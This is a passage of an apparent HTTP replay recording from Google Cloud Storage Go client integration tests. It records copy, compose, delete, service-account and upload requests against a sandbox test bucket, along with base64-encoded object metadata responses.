"eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9wcml2YXRlLzE1NTY4MzU5ODQ4NDgyMDgiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9wcml2YXRlIiwibmFtZSI6InByaXZhdGUiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4NDg0ODIwOCIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyNC44NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjUuNDIzWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI0Ljg0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL28vcHJpdmF0ZT9nZW5lcmF0aW9uPTE1NTY4MzU5ODQ4NDgyMDgmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvcHJpdmF0ZS8xNTU2ODM1OTg0ODQ4MjA4L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9wcml2YXRlL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwib2JqZWN0IjoicHJpdmF0ZSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg0ODQ4MjA4IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ05EcTV2N3gvZUVDRUFJPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJtbkc3VEE9PSIsImV0YWciOiJDTkRxNXY3eC9lRUNFQUk9In0=" - } - }, - { - "ID": "969763dc18755620", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o/private/rewriteTo/b/go-integration-test-20190502-80633403432013-0020/o/dst?alt=json\u0026destinationPredefinedAcl=publicRead\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2017" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:25 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoNk9xKdyuh-I4RkIXqQxMF4A82DZ9b2HYZOdVK7ELOsnMYBqOmrqsY5hzZJsLXMZCZ6zOSzCeefQZuTgYHwyd-jAttJ4QoA1lDk0HTwZqigIfpjCc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiNSIsIm9iamVjdFNpemUiOiI1IiwiZG9uZSI6dHJ1ZSwicmVzb3VyY2UiOnsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvZHN0LzE1NTY4MzU5ODU4NTAyNjkiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9kc3QiLCJuYW1lIjoiZHN0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODU4NTAyNjkiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgiLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjUuODQ5WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI1Ljg0OVoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyNS44NDlaIiwic2l6ZSI6IjUiLCJtZDVIYXNoIjoiWFVGQUtyeExLbmE1Y1oyUkVCZkZrZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9vL2RzdD9nZW5lcmF0aW9uPTE1NTY4MzU5ODU4NTAyNjkmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvZHN0LzE1NTY4MzU5ODU4NTAyNjkvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9vL2RzdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsIm9iamVjdCI6ImRzdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg1ODUwMjY5IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0ozL28vL3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2RzdC8xNTU2ODM1OTg1ODUwMjY5L2FsbFVzZXJzIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL28vZHN0L2FjbC9hbGxVc2VycyIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMCIsIm9iamVjdCI6ImRzdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg1ODUwMjY5IiwiZW50aXR5IjoiYWxsVXNlcnMiLCJyb2xlIjoiUkVBREVSIiwiZXRhZyI6IkNKMy9vLy94L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoibW5HN1RBPT0iLCJldGFnIjoiQ0ozL28vL3gvZUVDRUFFPSJ9fQ==" - } - }, - { - "ID": "8db7e2a6b620e794", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o/comp/compose?alt=json\u0026destinationPredefinedAcl=authenticatedRead\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "130" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6InByaXZhdGUifSx7Im5hbWUiOiJkc3QifV19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "1906" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:26 GMT" - ], - "Etag": [ - "CJGwwP/x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpqjCYxNFNTu3V1H_kV5WJxkbEYE9I3H5fYjfGMPO7n6C9NJstYZGcIh6xVA5RAxMCwP1PdzXITgTI1m2vm5xP5nhzLVRHKhder2qzYFGsAooH-kG0" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMC9jb21wLzE1NTY4MzU5ODYzMTUyODEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9jb21wIiwibmFtZSI6ImNvbXAiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4NjMxNTI4MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyNi4zMTRaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjYuMzE0WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI2LjMxNFoiLCJzaXplIjoiMTAiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL28vY29tcD9nZW5lcmF0aW9uPTE1NTY4MzU5ODYzMTUyODEmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvY29tcC8xNTU2ODM1OTg2MzE1MjgxL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9jb21wL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwIiwib2JqZWN0IjoiY29tcCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg2MzE1MjgxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0pHd3dQL3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIwL2NvbXAvMTU1NjgzNTk4NjMxNTI4MS9hbGxBdXRoZW50aWNhdGVkVXNlcnMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAvby9jb21wL2FjbC9hbGxBdXRoZW50aWNhdGVkVXNlcnMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjAiLCJvYmplY3QiOiJjb21wIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5ODYzMTUyODEiLCJlbnRpdHkiOiJhbGxBdXRoZW50aWNhdGVkVXNlcnMiLCJyb2xlIjoiUkVBREVSIiwiZXRhZyI6IkNKR3d3UC94L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiL1JDT2dnPT0iLCJjb21wb25lbnRDb3VudCI6MiwiZXRhZyI6IkNKR3d3UC94L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "72a0ce58c513f6d5", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o/comp?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:26 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpWOQtHF0cKNME8sTEm9vbS9KKKLLK9afxka1b6TTVGxDjCQ4qAdnA9zshsfVFVKK5hNS10aABAQog_gjYCZTXbbsF4bQNBM0i4R7bK2r7saocPtFo" - ] - }, - "Body": "" - } - }, - { - "ID": "111b5a296b726631", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o/dst?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:26 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqPsYXABoYOnGueMXiIvH9AntIPEf4xc6i18Nnr_XEYBxy-3LSK9klIcNyfSB7we4lgbctsiYA2e2WWBJlfqk1GnK6YA2fj-e3IiPbKwBwTSLjr1Jk" - ] - }, - "Body": "" - } - }, - { - "ID": "27e4065cd2000d43", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020/o/private?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:27 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpMPK_b_vcRkSIj1t37L47as9idfpbrNWqzirdNBLwoaGDMPlbjatMzjLThnYRNwk9CqTNQ5H8eoKFbunpe5TMktUo_FHyI7rryoUhbCpkbytRrTeM" - ] - }, - "Body": "" - } - }, - { - "ID": "cccb109f5fba2a3a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0020?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:27 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoVAiJOaePqfycNhiwbkPOptOqgpe9Tvo0jo1aW2nviozj4-QcjTtnGGyhcdrZ8QTxT-KHPo-saYS9ESC_6osYhChJOCi8b9nXtuqH0BqlvywXs9FE" - ] - }, - "Body": "" - } - }, - { - "ID": "cfab6af30981f62b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/projects/deklerk-sandbox/serviceAccount?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "116" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrDBTBzZwm7GH6Jklv6hzuaZaO3JdgliJk8zLZkVNDqwDO7tYP-c06rzrTj03llkWuV_l1k9w2tbUcGG2Rtv-1MdozY6pktTutDMLfyhyHe1DaEIys" - ] - }, - "Body": "eyJlbWFpbF9hZGRyZXNzIjoic2VydmljZS00OTYxNjk2MDE3MTRAZ3MtcHJvamVjdC1hY2NvdW50cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImtpbmQiOiJzdG9yYWdlI3NlcnZpY2VBY2NvdW50In0=" - } - }, - { - "ID": "677e783b9aea8c15", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoic29tZS1vYmplY3QifQo=", - "vcVTjdWWssp9XFk0D3Nk5w==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3262" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:28 GMT" - ], - "Etag": [ - "CPryt4Dy/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrdWRt6oMzDM98VpA0VDmWRuNvox2ZBw6ZpjbyOFDKCFKgJ92jsLkF8v4M4UUxaTUVpmr8iElUTld7Q2g5_MZSbRatDE2zVgaY-769Ppq7Nx6f0HAg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vc29tZS1vYmplY3QiLCJuYW1lIjoic29tZS1vYmplY3QiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4ODI3MzUzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyOC4yNzNaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjguMjczWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI4LjI3M1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoidEhhY2ZTS2ZCeUMrLytjbEc3cStqdz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NvbWUtb2JqZWN0P2dlbmVyYXRpb249MTU1NjgzNTk4ODI3MzUzMCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zb21lLW9iamVjdC8xNTU2ODM1OTg4MjczNTMwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MD